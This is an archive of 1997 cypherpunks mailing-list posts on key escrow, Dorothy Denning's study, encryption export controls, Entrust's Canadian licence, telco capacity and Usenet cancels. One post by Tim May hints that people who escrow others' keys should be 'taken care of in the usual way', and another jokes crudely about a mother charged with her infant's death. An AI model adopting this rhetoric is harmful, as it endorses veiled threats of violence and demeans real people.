In-Reply-To: <v03007815b006ac98fb64@[168.161.105.191]>
Message-ID: <97Aug1.163354edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



My ISP has already tried 128K wireless spread spectrum radio modems, and
they work fairly well.

If the Telcos move to raise rates, the internet will cease using the Telco
system.  And then some telephone interface company will create an internet
to POTS (Paleo Obsolete Telephone Service) interface.

The problem as it was explained to me is the aggregation factor (I don't
remember all the details so the following information is from my bad
memory).  Back when, someone decided that 8 lines could be grouped, and 8
groups would form a trunk (or at some level), so any of 64 stations could
make 8 (or 16) phone calls simultaneously into the central office.  Really
bad things happen when the 8 people are on for several hours and a 9th
attempts to use it.  To the point where you can't get a dialtone.  And
redial.  Which uses more CO resources.  Which causes more people not to
get a quick dialtone.  Which causes them to redial too...  And then it
melts down.  (The time it takes to get dialtone is apparently a measure of
load on the system).

Telcos are like modern Banks - they are based on fractional reserve
bandwidth.  When everyone tries to use their share at the same time, you
have the equivalent of a run on a bank.

Didn't Adam Back suggest bandwidth based financial derivatives...

--- reply to tzeruch - at - ceddec - dot - com ---







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sat, 2 Aug 1997 07:51:58 +0800
To: Apache <cypherpunks@toad.com>
Subject: Re: FCPUNX:'Telco Terrorism' -- Wired on Baby Bells v. the Net
Message-ID: <199708012338.QAA24304@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:18 PM 8/1/97 +1000, Apache wrote:
> I note with great interest an independent provider in New Zealand which
> has a better competitive market situation in this area than Australia
> (and a lot of other things I might add) offers a user account with up to
> 500kbs satellite feed for $79 (NZ) /mnth flat plus installation of $79 
> plus you must by the satellite dish ($699). I would assume you can't 
> resell bandwidth on this set up so the two are not directly comparable.

The (comparatively) free market telecom system in New Zealand is due
to a LEFT WING, pro liberty, government, that adopted a strategy 
"let us privatize first and let the free market sort out the chaos 
later"

The equivalent in America is almost unimaginable.  Here in America left
means statist, left means big brother is in charge.  The same is true,
or used to be true when I was there, in Australia, though not to the
extreme that it is true in America.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 08:28:37 +0800
To: Vin McLellan <cypherpunks@Algebra.COM
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102807b00685fc9dd5@[207.167.93.63]>
Message-ID: <v03102808b0082dc62e84@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:49 AM -0700 8/1/97, Vin McLellan wrote:

>	To note the obvious, the Constitutional argument cuts both ways,
>with warranted access to "private papers," versus the Founding Fathers'
>proto-privacy and their rude distrust of federal power.  (It's kind of like
>the abortion debate, where the premise you start off with almost dictates
>which conclusion you arrive at, many steps later.)  Denning's pragmatic,
>utilitarian, arguments are useful, but I suggest they mask a deeper shift
>of primacy among competing principles.

But the Constitution has never been interpreted as placing prior restraints
on strength of locks, on shades over windows, etc. Nor on whispering or
speaking in code phrases to deter eavesdroppers.

(Nor, obviously, as the "warranted access" Vin speaks about _ever_ been
construed to mean that house keys must be deposited in advance ("escrowed"
in newspeak) with law enforcement.)


It is this prior restraint on the strength of security technology which is
at issue. If a proper warrant is gotten, the disclosure of papers may be
compelled. Whether they can be gotten depends on a lot of things. Just as
with physical papers, which may or may not be retrievable.


>about this, it will be _very_ interesting.)  Denning, like many on the
>other side, is smart & idealistic.  This study and other recent statements

Well, this is your opinion. I've read a lot of her stuff, and heard her
speak, and I can't agree with your characterization.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 08:57:53 +0800
To: Lauren Amy Gelman <gelmanl@gwis2.circ.gwu.edu>
Subject: Using Strong Crypto to Forcefully Liberate Palestine
In-Reply-To: <Pine.GSO.3.96.970801200338.13630A-100000@gwis2.circ.gwu.edu>
Message-ID: <v03102809b0082fe4adbb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:06 PM -0700 8/1/97, Lauren Amy Gelman wrote:
>---------- Forwarded message ----------
>Date: Fri, 01 Aug 1997 16:24:40 -0400
>From: Aaron Pressman <aaron.pressman@reuters.com>
>Subject: reuters crypto story
>
>
>Human rights groups favor strong encryption abroad
>  WASHINGTON, Aug 1 (Reuter) - Human rights activists came to Capitol Hill
>on Friday to tell lawmakers of their need to use strong computer encoding
>programs, subject to strict U.S. export limits, in their work outside the
>country.
...

I rather suspect that the human rights groups working for the liberation of
Palestinians are characterized as "terrorists" by the Zionists and by the
U.S. Government for their work in helping to destroy the Zionist Entity.

As this relates to crypto, don't we all think the U.S. Government would
provide decryption keys if the exported Key Recovery software were being
used by the freedom fighters against the Zionist Entity?

Likewise, Phil Zimmermann's favorite example, the freedom fighters in the
jungles of Burma, using laptops and PGP to fight the Rangoon-based
oppressors, would be "turned" by the USG just as soon as it became policy
to support the government in Rangoon.

No human rights group can ever count on the USG. And why anyone who thinks
this is welcome to escrow their keys voluntarily. But if they try to escrow
the keys of others, they need to be taken care of in the usual way.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 1 Aug 1997 20:09:06 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <FwFPae2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970801173347.816E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> 
> > Nno one is arugeing that.  Both sides in this debait aggry that that is a
> > REAL BAD thing.  Spam cancelers use an objective rules.

[...]

> Let me clarify two things:
> 
> 1. "Spam cancellers" are not generally news admins.

I think you will have to justerfy this,  the top spam cancellers are all
news adimns.

> 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> s/he often diversifies into "retromodetration"

There is little proof that this is the case.  Even the netscum case could
have been considered spam.

[...]

> > Not even forgeries in my name?  Not even out of the control spews from
> > fidonet?
> 
> Correct.

Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
posts into usenet you don't wish them to be removed from usenet?

Nor if I post a message with your name and email, saying "Chris Lewis the
best thing that happened to usenet and I wish to have his baby."

If this is so sould I change the RB to reflect this.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+GTWKQK0ynCmdStAQERNQP+OlKyKfBQl0YOb3hBRipLXHfvnLSdhnWY
HF91PySz5wikYaF046efV+SeIN7+cMPj8+LPdYMvft8Wy/gQMU6Sjp8hVFz4l5kN
4ygAihiDmHXWsDbvpksiSuJBodvvE/EnSqrulpEYfJ2KNb33dCDfuoo8ARk5DZhD
+5l3c9SPDek=
=50wo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 1 Aug 1997 20:29:02 +0800
To: Peter Trei <trei@process.com>
Subject: Re: Rep. White introduces Internet Protection Act
In-Reply-To: <199707311411.HAA18283@toad.com>
Message-ID: <Pine.LNX.3.93.970801174800.816G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Peter Trei wrote:

[...]

> Does the FCC charter mention photonic communications as 
> well?

Well snice the FCC IIRC has authourty over radio wich has a (minor)
photonic componte it has always been so.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+GVcaQK0ynCmdStAQHNFAQAlWsW/FWHXQt5O++uSZ5DaO3r9j+b043Q
FS2CN6xd6BPyGViz1sV3oH1u4hXa+nl8rSMRlV0+jLA443XAAaGDToezhmhgkPrn
mFuQKGbeZBApVj7CB8hWraZvNexQwljstjfnkn+Qpm+NYcvEPk+e4J7OcXKKXZEX
2SD1p5Vw/5A=
=Xfc9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 09:54:54 +0800
To: Jim Choate <cypherpunks@ssz.com
Subject: Re: http:--www.cnn.com-US-9707-31-breast.milk-
In-Reply-To: <199708010310.WAA24360@einstein.ssz.com>
Message-ID: <v03102800b00843020b30@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:10 PM -0700 7/31/97, Jim Choate wrote:

>
>     TUCSON, Arizona (AP) -- Police have charged a woman with murder,
>     claiming her breast milk was so full of heroin and methadone that it
>     killed her 7-week-old daughter.
>

Too bad she'll go to prison, as I heard she has killer tits.


(My apologies to the wimminfolk here...I couldn't resist. Besides, women I
know are equally willing to make similar jokes, e.g., the gal who deride
rock music favored by young men as "cock rock. I then asked her what she
thought of "clit lit." She laughed.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 2 Aug 1997 10:44:20 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102807b00685fc9dd5@[207.167.93.63]>
Message-ID: <3.0.2.32.19970801185452.007746e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Tim May writes:
>> And her "second thoughts" on GAK were not based on a principled 
>> repudiation of the concept of "escrowing" keys, or on Constitutional 
>> grounds, but only on the grounds that her study did not show that many 
>> criminal cases were much affected by the lack of key escrow.

That's fine - if we wanted people to oppose crypto-censorship on
moral or political grounds, we could ask the ACLU or EFF or CypherpunkCabal.
Professor Denning's position has never been that eavesdropping and
key escrow are required on the grounds of principle - it's
Louis Freeh's job to say "we can't go upsetting Law Enforcement's
traditional ability to eavesdrop on you, that'd be UnAmerican".
Her important contributions to the Bad Guys' position has been to say that
"Law enforcement needs your keys because there's no practical alternative",
which reinforces the FBI's and NSA's arguments.  Now that she's saying
"Law enforcement doesn't really need your keys, they're doing just fine
without them, even in spite of all the insider talks they've given me"
that knocks the utilitarian leg out from under them.  That's very good.

Won't stop the Bad Guys from trying, of course, but it's a good start.
On the other hand, it'll probably provide extra ammunition for the current
"legalize exports but criminalize use of crypto in crime" bills,
which gives the government more power than they've had before domestically
at the cost of losing the export battle which they were losing anyway.






#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "NO Remailer" <nor@dev.null>
Date: Sat, 2 Aug 1997 10:02:39 +0800
To: cypherpunks@toad.com
Subject: New Non-Remailer Announcement
Message-ID: <199708020149.TAA12859@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



   ANNOUNCEMENT: "NO Remailer" Still Doesn't Work!
   -----------------------------------------------

  Doesn't work, and probably never will...
  It is unlikely that attempts to get my drinking under control are
going to be any more successful in the future than they have in the
past, so the "NO Remailer" will never likely be of any use to those
who wish to send anonymous email.
  However, if you are an impulsive person who is continuously sending
out anonymous email that only comes back to haunt you and get you into
trouble, then perhaps you should use the "NO Remailer." That way, you
will get the satisfaction of sending the email, but will not suffer the
consequences of it actually being delivered.
  Also, since our email often bounces when we are behind on payments to
our ISP, you will get an opportunity to review your attempts at sending
anonymous email, thus helping you to notice the really stupid things
you say and do (such as including your .sig line in the nasty letter to
your boss).

  In short, the "NO Remailer" is perfect for those whose lives are a
mess and/or who are as big a loser as the "NO Remailer" operator.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lauren Amy Gelman <gelmanl@gwis2.circ.gwu.edu>
Date: Sat, 2 Aug 1997 08:11:51 +0800
To: brewer@cs.berkeley.edu
Subject: reuters crypto story (fwd)
Message-ID: <Pine.GSO.3.96.970801200338.13630A-100000@gwis2.circ.gwu.edu>
MIME-Version: 1.0
Content-Type: text/plain







----------------------------------------------------------------------------
----------------------------------------------------------------------------
Lauren Amy Gelman, USACM			gelman@acm.org
U.S. Public Policy Committee for the Association for Computing

---------- Forwarded message ----------
Date: Fri, 01 Aug 1997 16:24:40 -0400
From: Aaron Pressman <aaron.pressman@reuters.com>
Subject: reuters crypto story


Human rights groups favor strong encryption abroad
  WASHINGTON, Aug 1 (Reuter) - Human rights activists came to Capitol Hill
on Friday to tell lawmakers of their need to use strong computer encoding
programs, subject to strict U.S. export limits, in their work outside the
country.
   The debate over exports of encryption technology, which scrambles
information and renders it unreadable without a password or software "key,"
 has largely pitted the interests of commercial companies and civil
libertarians against those of law enforcement and intelligence agencies.
   But human rights advocates said Friday they also had a critical interest
 at stake.
   Swift and inexpensive communications over the Internet "promise to
destroy the ability of abusive regimes to silence their people, hide their
atrocities and blockade the truth," said Dinah PoKempner, deputy general
counsel for Human Rights Watch.
   "Encryption offers the most fundamental protection to those who seek to
bring abuses to light in these circumstances," she added at a briefing for
congressional staff.
   Those who report human rights abuses can become victims of abuse if
discovered, so the availability of encryption to hide electronic mail
messages or faxes can be a matter of "life or death," said Patrick Ball,
who trains human rights activists to use the technology.
   The Clinton administration generally prohibits the export of strong
encryption unless the products allow the government to decode any message
by gaining access to the software keys. A variety of encryption-related
legislation is pending in Congress, including bills that would overturn the
 Clinton policy and relax the export limits.
   Ball, senior program associate with the American Association for the
Advancement of Science (AAAS), warned that the use of so-called key
recovery features to give governments access to coded messages could
compromise the work of human rights groups.
   "How can we ensure that intelligence and law enforcement groups in
repressive countries will not directly or indirectly obtain human rights
groups keys from the U.S. government," Ball asked. "Human rights monitoring
 is always defined by repressive regimes as a threat to national security."
   Congressional staffers attending the briefing also heard from leading
cryptography scientists who said U.S. export controls stifled research on
encryption, thereby slowing the development of more secure computer
networks.
   Alex Fowler, project coordinator with the AAAS, said the presentations
were intended to counter the portrait of encryption users painted by law
enforcement agencies.
   "We want to reaffirm that cryptography is a science, not just a pastime
of anarchists, terrorists and hackers," Fowler said.
   The export rules prohibit U.S. researchers from collaborating with
foreign scientists on coding technology, according to Ian Goldberg, a
graduate student at the University of California.
   In January, Goldberg sucessfully cracked a message in a few hours that
had been encoded with the most powerful encryption allowed to be freely
exported from the United States.
   A Canadian citizen, Goldberg said that he could collaborate with others
or publish research on the Internet while home from school. "But I can't go
 home every time I have an idea --the plane fare alone..." he joked.
   --Aaron Pressman((202-898-8312))

For related news, double click on one of the following codes:
[E] [U] [MNI] [NAT] [CAN] [US] [WASH] [BUS] [TEL] [DPR] [TRD] [ENT] [MUNI]
[GVD] [DBT] [INT] [FRX] [CA] [LEN] [RTRS]

Friday, 1 August 1997 16:04:06
RTRS [nN01204006]


------------------------------------------------------------------------
Any views expressed in this message are those of the individual  sender,
except  where  the  sender  specifically  states them to be the views of
Reuters Ltd.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 11:25:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Denning backs away from GAK
In-Reply-To: <199707311824.LAA25935@slack.lne.com>
Message-ID: <v03102801b00856719c22@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:54 PM -0700 8/1/97, Bill Stewart wrote:
>>Tim May writes:
>>> And her "second thoughts" on GAK were not based on a principled
>>> repudiation of the concept of "escrowing" keys, or on Constitutional
>>> grounds, but only on the grounds that her study did not show that many
>>> criminal cases were much affected by the lack of key escrow.
>
>That's fine - if we wanted people to oppose crypto-censorship on
>moral or political grounds, we could ask the ACLU or EFF or CypherpunkCabal.
>Professor Denning's position has never been that eavesdropping and
>key escrow are required on the grounds of principle - it's
>Louis Freeh's job to say "we can't go upsetting Law Enforcement's
>traditional ability to eavesdrop on you, that'd be UnAmerican".
>Her important contributions to the Bad Guys' position has been to say that
>"Law enforcement needs your keys because there's no practical alternative",
>which reinforces the FBI's and NSA's arguments.  Now that she's saying
>"Law enforcement doesn't really need your keys, they're doing just fine
>without them, even in spite of all the insider talks they've given me"
>that knocks the utilitarian leg out from under them.  That's very good.

I disagree. A likely scenaria, I fear, is this:

* Denning's new study gets publicity

* Denning is "redeemed" and gains new influence

* GAK is delayed for this year

* Denning continues her study

* Next year's report finds solid evidence that crypto is being used to
hinder investigations, and has indeed had an effect.

(Hey, even dumb freedom fighters, er, "terrorists," will soon be using
strong crypto in ways that will surely affect investigations....)

* Denning's new conclusions, and her redemption, will generate support for GAK.

Classic "good cop, bad cop" and "bait and switch."

We've discussed this before. Just as the CDA was best attacked on
constitutional or basic issues, and not on whether porn was or was not
available on the Net, so, too, should GAK be attacked on constitutional or
basic issues, not on whether investigations have or have not been affected
by crypto.

Those who live by utilitarian arguments will die by utilitarian arguments.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 11:30:30 +0800
To: cypherpunks@toad.com
Subject: Bionomics banned as a cult in Germany?
In-Reply-To: <v03110721b00840705342@[139.167.130.246]>
Message-ID: <v03102802b00858991ddd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:40 PM -0700 8/1/97, Robert Hettinga wrote:
>--- begin forwarded text
>

>Vitamin B:
>Your Daily Dose of Bionomics
>

>Even though Germany had signed a pledge


Hey, I thought "bionomics" had been banned as an illegal and dangerous cult
in Germany?

(Sure seems like a whacked-out newage cult to me....)


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 2 Aug 1997 08:53:07 +0800
To: cypherpunks@toad.com
Subject: JYA Axed
Message-ID: <1.5.4.32.19970802003043.006cb0a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The ISP for jya.com, PrimeHost, an AOL subisidiary, has axed
the site.

We learned of this today after trying for a week to get an answer 
to why the site vanished. Tech said call Sales, Sales said it's not 
us, it's got to be Tech. Tech said it's definitely not us, and if it's
not Sales or us it must be Bosses.

Finally, a Boss was reached who said the site was "intentionally pulled." 
He claimed that it was "not a serious problem, so don't be alarmed," 
and sang cheerily about "some files" without elaboration.

Maybe more next week, and we pray it turns out to be hysterically
alarming and not merely a pissed Intel Prop owner seeking pay.

JYX.com is still up, thanks to PrimeHost's autosub. Ten files there -- 
so far.

We're humping to get the latest 60-page package of the RSA v. PGP 
suit there this weekend, thanks to Nobody.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 2 Aug 1997 12:39:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102801b00856719c22@[207.167.93.63]>
Message-ID: <19970802043128.30258.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

 > * Next year's report finds solid evidence that crypto is being used to
 > hinder investigations, and has indeed had an effect. 

This is obviously the strategy here.  If we lend credibility to the
examination of chicken entrails because the Sorcerer is saying something
we agree with, then we are powerless to denounce the process as flim-flam
when we wake up one morning and find ourselves no longer in the Sorcerer's
graces. 

Similarly, if we buy into the notion that national crypto policy should be
dictated by the needs of law enforcement, instead of fundamental
Constitutional considerations, because law enforcement is purring and
courting our favor, then it is only a matter of time before we find that
we have stupidly oiled the very machinery which will be used for our
beheading.

As Tim says, stick with Constitutional arguments, not utilitarian ones,
and beware of Wise Persons from the East bearing Gifts.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 2 Aug 1997 10:02:27 +0800
To: cypherpunks@toad.com
Subject: PCs, bitte.
Message-ID: <v03110721b00840705342@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Lotus-FromDomain: BIONOMICS@INTERLIANT @ OUTBOUND
From: "VitaminB"<VitaminB@bionomics.org>
To: "DAILY DOSE"<DAILY_DOSE@maxager.com>
Date: Fri, 1 Aug 1997 17:05:28 -0700
Subject: <<Vitamin B>>(August 1, 1997) Going their own way
Mime-Version: 1.0






Vitamin B:
Your Daily Dose of Bionomics

August 1, 1997

Going their own way

Even though Germany had signed a pledge
to forget about taxing the Internet earlier this
month, it seems that its parasitic bureaucracy
has other ideas.  A recent multimedia law in
Germany has defined Internet PC's as devices
that can receive audio and video, so the
Gebuehreneinzugszentrale (GEZ), the collector
of the TV tax in Germany, has decided that this
tax applies to PC's as well.  What does this mean
for business?  According to the GEZ, companies
with 100 Internet-enabled PC's will be charged
1000 Marks (about $555), whether the PC's actually
run audio or video or not.

For those unfamiliar with the GEZ, this is the
organization which enforces the TV tax by going
into peoples homes and checking to see how many
sets they own and in some areas driving around
in special trucks to determine which houses receive
signals.

Bureaucracies, in an almost living way, seem to write
their own code and respond viciously to threats to
their territories.  Unless the German government
finds a way to limit the power of its bureaucracy,
that territory will get bigger all the time.

Source:  _Ziff-Davis Network News_, July 30, 1997

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 2 Aug 1997 13:01:35 +0800
To: cypherpunks@cyberpass.net
Subject: Canada's Entrust does end-run around ITAR
Message-ID: <199708020443.VAA10553@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Fri, 01 Aug 1997 18:13:20 -0700
From: kalliste@aci.net (J. Orlin Grabbe)
To: snetnews@world.std.com
Subject: SNET: [Fwd: Another torpedo slams into Clinton crypto policy]


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From: jqp@globaldialog.com
Newsgroups: alt.current-events.clinton.whitewater,alt.politics.clinton
Subject: Another torpedo slams into Clinton crypto policy
Date: Fri, 01 Aug 1997 00:21:25 -0500
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NY Times
August 1, 1997

Canadian Product Puts New Spin on Encryption Debate

By PETER WAYNER 

Canadian company's recent release of a new 
encryption product and subsequent announcement 
that it had received a license from Canada to 
export the product has surprised many companies 
and U.S. officials. 

The release was startling because the United States 
and Canada historically regulated the encryption-
exporting issue in synchrony. 

The company, Entrust Technologies Ltd., released 
a free version of its Entrust/Solo software on 
Tuesday, and announced that they had received a 
license from the Canadian government to export 
it to almost all of the world. 

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

THE MOVE BY ENTRUST SEEMS TO EXPLOIT A DIFFERENCE 
IN THE REGULATIONS BETWEEN THE UNITED STATES AND 
CANADA.

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

This decision by Canada could signal a major rift 
developing between two allies over an issue that 
is becoming increasingly important to the computer 
software industry. 

In fact, the move seemed to startle the [*]Bureau 
of Export Affairs at the U.S. Department of Commerce. 
James Lewis, director of strategic trade at the 
bureau, would only issue a one-sentence statement 
through a spokeswoman: "This is under review as 
a potential enforcement matter." He offered no 
insight into which American laws were being violated. 
Shauna White, a spokeswoman for the company, said 
"We believe we are in full compliance with all 
the Canadian laws that apply." 

In the past, the United States and Canada enforced 
their encryption regulations with such cooperation 
that most controlled products are shipped in boxes 
announcing, "For U.S. and Canada only." The U.S. 
government was certain that Canadian regulations 
would block anyone from shipping the product out 
of Canada. 

Those regulations are still in place and there 
has been no change in the effect on products built 
in the United States. Programs written by Canadians,
however, are another matter. Entrust was able to 
qualify for a license because their software contained 
what John Ryan, the company president and chief 
executive, said was "100 percent Canadian content." 
That is, it was developed in Canada by Canadian 
citizens. 

Entrust Technologies Inc. was spun off on Jan. 
2, 1997, from Nortel (Northern Telecom) after Nortel 
developed the Entrust product. Entrust Technologies 
Inc. is based in Dallas, but most of the development 
work is done in Ottawa, Ontario, where the Canadian 
subsidiary, Entrust Technologies Ltd. has its offices. 
Ryan, for instance, is a Canadian citizen. 

The move by Entrust seems to exploit a difference 
in the regulations between the United States and 
Canada. Both countries are members of the Wassenar 
Arrangement on Arms Export Controls, a set of loosely 
controlled rules that took the place of Cold War-
era regulations designed to reign in conventional 
arms and dual-use technologies. 

The arrangement regulates the export of encryption 
software but provided an exemption for general-
use software that was freely available through 
either the public domain or widespread public channels 
like stores. Ryan explained: "Many countries have 
chosen to 'to turn that part off.' Canada has not 
chosen to turn that part off." 

The existence of this regulatory difference may 
have come as a surprise to many people in the United 
States because the Canadian software industry has 
not yet produced a top-rank international competitor. 
The academic computer science departments at colleges 
like the University of Toronto are first rate, 
but there are no companies with the same public 
presence as Microsoft or IBM. 

But Entrust Technology's emergence shows how quickly 
the public perception can become obsolete in the 
swiftly moving world of technology. The company 
is clearly hoping that its free version of the 
Entrust/Solo software will build acceptance for 
the commercial versions, which are also freely 
exportable. Many other companies follow the same 
strategy of releasing free versions to the public 
in order to publicize the commercial versions, 
which usually come with more features. 

Entrust allows people to download free copies of 
Entrust/Solo for personal use from their Web site,
but they block requests from seven restricted countries:
Libya, Iran, Iraq, Cuba, Angola, Syria and North 
Korea. France and Singapore are also blocked because 
they have restrictions on the import of technology. 

Entrust is already in heavy competition against 
a U.S. company, [*]Pretty Good Privacy Inc., which 
is circulating a free version of its encryption 
package, PGP 5.0. This version is available for 
home and non-commercial use without charge. The 
software, however, was developed in the United 
States and can't be exported without a license. 
The company has worked closely with the U.S. Commerce 
Department to smooth licenses for major U.S. companies 
seeking to use the software with their subsidiaries,
but an individual license must still be granted 
in each case. 

Kelly Huebner Blough, director of government relations 
for Pretty Good Privacy, said: "Well, of course 
we would like the U.S. to license exports more 
liberally. Most of the other countries in the world 
license encryption software more freely. They may 
have strong policies on the books, but when it 
comes to implementation, the U.S. is the most restrictive." 

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ALL OF THE MAJOR SOFTWARE COMPANIES LIKE MICROSOFT,
IBM AND SUN CONTINUE TO PRESS THE U.S. GOVERNMENT 
FOR RELIEF OF THE EXPORT CONTROL LAWS, ARGUING 
THAT BETTER AND BETTER SOFTWARE IS EMERGING THROUGHOUT 
THE WORLD.

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Other companies will also be feeling the pressure. 
Ray Ozzie, the president of Iris, the developer 
